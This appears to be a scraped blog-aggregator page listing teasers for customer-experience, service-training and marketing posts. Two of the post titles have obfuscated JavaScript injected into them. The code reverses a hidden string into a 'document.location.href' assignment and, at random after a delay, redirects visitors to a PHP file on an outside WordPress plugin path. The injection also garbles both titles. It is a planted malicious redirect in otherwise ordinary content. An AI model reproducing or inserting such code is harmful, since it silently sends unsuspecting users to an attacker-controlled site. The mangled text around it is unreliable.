Social Media Training Activities and Marketing Courses You Never Realized Your Team Needed


How are you supposed to find social media training activities and courses that will bring everyone up to speed? The following blog post will give you helpful training tips, social media training exercises, and a brief list of courses that will help your social media team rise above and beyond.

How to Connect Your Employees to Your Customers and Company Mission

Customer Bliss

After taking a course led by James Heskett and Earl Sasser who wrote The Ownership Quotient , Lisa was excited to come back to Netspend with a business case that supported creating customer experience at Netspend. Connect Employees to the Customer.

Guest Blog: Connect With Your Customers & Watch Your Business Grow


Phone calls are ripe with opportunities and the faster a caller connects with a friendly voice on the other end, the better. Consumers want to connect with your business. Consumers Demand Immediate Connection. Many companies are well aware of this, of course.

CXU’s 500 Series of Online Courses now available as Subscriptions

CX University

CX University recently announced changes in purchase options to their Customer Experience and Patient Experience 500 Series of Online Courses. Online Courses are now available as subscription plans with low prices to allow accessibility for everyone.

6 Killer Applications for Artificial Intelligence in the Customer Engagement Contact Center

can easily make mid-course adjustments when new information. Our top-rated cloud applications for social, mobile, web, and contact centers help clients deliver connected, knowledge-guided customer journeys in an omnichannel world.

Crash Course: 11 Terrible Customer Experiences In Travel

Currency Alliance

I’ve only ever taken one connecting flight, stopping at JFK en-route from San Diego to London. As a connecting flight newbie, I had no idea whether I needed to collect my bags and bring them to the next flight. Getting a passenger from A to B. Giving them somewhere to sleep.

Is Packaging Part of Product or Promotion? Should it be Both?


Or do you consider it to be an integral part of your connection with your customers at an important moment of truth, that of purchase and usage? A fun campaign they started running in 2019 with Ed Sheeran includes a pack label change – of course!

Five Rules of Customer Observation for Greater Success


In a customer-centric organisation, everyone has annual objectives which include connecting with customers on a regular basis. Some organisations also make a habit of getting their employees to watch and listen to their customers in direct observation or connection sessions.

Don’t Forget to Connect Customer Service Week with Strategy

CSM Magazine

As you celebrate Customer Service Week at your organization, ask yourself these three questions to help ensure your initiatives are connected with a larger strategy. Of course, Customer Service Week calls for celebration.

How Today’s CX Leaders Can Connect Customer and Employee Experience for Radical CX Innovation


The connection between customer experience and employee experience has long been discussed, but what does that actually look like in the data? Our client Massage Envy was able to paint a picture of this connection and discover actionable intelligence when they implemented an EX program to complement their existing CX program. There were strong indicators in their customer data regarding the connection between customer turnover and employee turnover and customer satisfaction. .

Emotional Connections are the Icing on the CX Cake


It sounds so simple, but, in reality, it really takes effort, especially in the beginning as you begin to plot a course and set things in motion. The emotional connection is part of a love triangle that also includes results and effort.

6 Soft Skills to Level Up Your Customer Service in 2019

transcosmos Information Systems

Here are six essential soft skills you need to prosper in the customer service industry, as well as course recommendations to kick start your learning. Recommended course: Learn Social Psychology from Udemy. Check out a preview of the course below.

Making Melbourne a Better City by Connecting People with “The Government You Can Touch”

Up Your Service

Melbourne is using technology to connect with all these people and wants to get them involved to make government services even better. Even the trees in Melbourne are connected, each with a unique identifier to receive “tree-mail” that is read and replied to by city employees. Of course, Melbourne is not the only city using technology to connect people with services to make urban living better. Ron Kaufman with Colin Fairweather and Daniela Mazzone at Dreamforce.

You’ve Got Data? Well Don’t Start There!


Of course, in today’s data-rich environment I’m not really suggesting that you actually ignore it! Of course big data has been big news for years, thanks to its 5Vs (volume, velocity, variety, variability, value). Did the title about data make you curious? Great!

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Forgotten Facts & Fantasies of Customer Delight


Of course, my mind is never far from work and I realised that I was so enamoured by this country because it’s people have customer centricity down to a fine art. ” And then, of course, I got the traditional apology for being kept waiting.

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What Customers Want Today. (And How to Give It To Them!)


And this is when I realised that perhaps businesses are more interested in the process than the real benefit of customer connection. As a customer centricity champion, just like you I hope, I spend a lot of my time researching what customers want.

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8 Customer Experience Quotes You Need To Know

Customer Bliss

In the course of working with different companies throughout my career, I’ve found that leaders focused on serving customers’ lives as a way to grow their business often begin with an uncommon attitude.

13 Short Customer Service YouTube Videos You Can Use for Training

Myra Golden

How to Talk to Customers: Empathy, Tone and Making Personal Emotional Connections – Webinar Sample. Myra Golden’s Customer Service Video Library. Top 6 Ways to Get An Angry Customer to Back Down. The Psychology of Customer Anger.

The inner loop of the Net Promoter System: Connecting employees and customers every day


Yet if you’ve read The Ultimate Question 2.0 , you know that the Net Promoter System was inspired by the way Enterprise Rent-A-Car used a simplified form of feedback to connect its car rental agents and managers to the customers they serve. Of course we should share feedback from individual customers directly and immediately with employees. They feel connected.

It’s all about uniting silos for effective CX

Customer Bliss

Of course, oftentimes the incentives between silos are set up in a way that can’t encourage true collaboration. There will be potholes along that road, of course.

Clues to a Remarkable Br$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Story


Of course, I say “easiest” with caution, since great storytelling is an art that is often learned but rarely truly mastered. All these stories confirm and further support the connection their customers have with these brands, so they almost become a part of their extended families.

What will CX look like in 2017?

Customer Bliss

There are other reasons, of course, but those are three of the big ones. Over the holidays, I read two interesting articles about customer experience. The first one, from Forbes , is called “Five Bold Expert Predictions For 2017.” ” (I am not among these experts, no.)

The “Make Mom Proud” Standard for How to Treat Your Customers

Customer Bliss

Picture the frustration of the wait and then her joy as someone connects. Of course, it’s not that simple. Customers as Assets Applying Mom’s Lessons To Business connect customer experience to business growth customer customer experience drive business growth make mom proud

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Business to Business Customer Experience Leadership, With Tabitha Dunn – CB49

Customer Bliss

They take companies of all sizes and stages beyond automation to a completely connected spend management solution encompassing travel, expense, invoice, compliance and risk. It might seem semantic, but it’s a huge connection back to the end user of B2B customer experience.

Why You Struggle To Meet Your Business Objectives (And how to Crush them)


Every year you are usually looking to grow your brand - unless of course you are "milking" an older brand as you allow it to die off. “There may be customers without brands, but there are NO brands without customers!”

The 50 first dates problem of CX

Customer Bliss

That is, going through the same process of getting-to-know-you and initial engagement over and over again, as you they connect with you via different digital channels and devices over time. The experience needs to be consistent and reliable across channels, of course.

A Successful B2C Engagement Tactic Applied to B2B

Heart of the Customer

I recently purchased a new phone, so of course, I need a new case. Customer Centric Culture Change Customer Experience CX vision Employee and Customer Engagement Voice of the Customer B2B B2C Carved connection customer experience tip customer relationship CX CX tip engagement idea phone case

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The Entrepreneurial CCO, with Kevin Bury – CB24

Customer Bliss

He did a lot of initial work with the User Experience team — as well as, of course, talking to groups of customers. Podcast align silos CCO priorities connect the silos customer experience priorities making customers a priority one company approach one company culture

How to Use Marketing Quotes to Inspire and Catalyse Action


This doesn’t mean that you shouldn’t speak about what you have to offer, of course not. We believe that advertising and customer connection has reached a tipping point, where mass messaging is replaced by relevant, useful information that is also time relevant.

How to Use Marketing Quotes to Inspire $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Catalyse Action


This doesn’t mean that you shouldn’t speak about what you have to offer, of course not. We believe that advertising and customer connection has reached a tipping point, where mass messaging is replaced by relevant, useful information that is also time relevant.

A Day in The Life of a Customer Service Manager at Online Estate Sale Company, EBTH


In this year alone, the service team has sent over 60,000 Stella Connect customer feedback requests (more details on this partnership are below). A customer service agent at EBTH using Stella Connect to monitor instant customer feedback. Stella Connect

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How CIOs can Enable an Agile Organization


I recently had the pleasure of sitting down with IDG’s Rob O’Reegan and Isaac Sacolick, President of Star CIO, to discuss the CIO’s strategic mandate and how they can create a more connected, engaging and agile organization. Things change during the course of the project.

Beyond CRM: How Method Helps Businesses Create Optimal Workflows


Of course, no one is expecting you to build accounting software from scratch when existing solutions work so well. Since Method is a CRM, it of course includes a pre-built app for storing customer data. Changing software needs are a fact of life for growing businesses.

Timeless Tuesday: How Many Cookies Have You Made for Your Customer Today?


This, of course, upset her, but there was nothing to be done. Timeless Tuesday is an opportunity to highlight classic Strativity expertise.

Brooklinen’s Winning Formula for Customer Service Training and Performance Management


Once you have that personal connection, it’s much easier to communicate over Slack or email. They see it in the way we personally train and communicate with them, but also in the way we keep an eye on everything—especially with Stella Connect.”.

Call Center Training: How to Maximize Efficiency and Optimize Your Time


Of course, there’s a lot more to optimizing performance than making the right calculations and reassessing coaching and training priorities. Stella ConnectConsistently great front-line performance is the goal of every call center training program.

Brooklinen’s Winning Formula for CS Training and Performance Management


Once you have that personal connection, it’s much easier to communicate over Slack or email. They see it in the way we personally train and communicate with them, but also in the way we keep an eye on everything—especially with Stella Connect.”. Stella Connect